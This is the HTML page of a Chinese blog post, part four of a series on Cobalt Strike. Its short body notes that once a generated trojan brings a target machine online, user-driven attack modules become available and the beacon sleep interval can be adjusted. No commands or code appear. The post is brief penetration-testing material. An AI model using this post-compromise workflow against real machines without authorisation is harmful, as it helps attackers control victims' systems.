window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Cobalt-Strike-四</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-28 13:46:11</span>
<span class="mobile">2021-05-28 13:46:11</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2021-05-31 21:12:36</span>
<span class="mobile">2021-05-31 21:12:36</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%B8%97%E9%80%8F/">渗透</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Cobalt-Strike/">-Cobalt Strike</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="Cobalt-Strike用户驱动攻击"><a href="#Cobalt-Strike用户驱动攻击" class="headerlink" title="Cobalt Strike用户驱动攻击"></a>Cobalt Strike用户驱动攻击</h2><p>使用cs生成木马让目标机上线后</p>
<p>有很多用户驱动攻击的模块可以使用</p>
<span id="more"></span>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E5%9B%9B/image-20210528164836829.png" class="" title="image-20210528164836829">
<p>这里可以修改sleep的时间:获取信息的间隔时间/s</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/28/Cobalt-Strike-%E5%9B%9B/image-20210528164602695.png" class="" title="image-20210528164602695">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Cobalt-Strike-四</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-28 13:46:11</li>
<li>
<strong>更新于
:</strong> 2021-05-31 21:12:36
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/28/Cobalt-Strike-四/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Cobalt-Strike/">#-Cobalt Strike</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/28/Cobalt-Strike-%E4%BA%94/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt-Strike-五</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/26/Cobalt-Strike-%E4%B8%89/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike(三)</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Cobalt-Strike-四</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#Cobalt-Strike%E7%94%A8%E6%88%B7%E9%A9%B1%E5%8A%A8%E6%94%BB%E5%87%BB"><span class="nav-text">Cobalt Strike用户驱动攻击</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/28/Cobalt-Strike-四/index.html | HTML | unknown | 28,514 |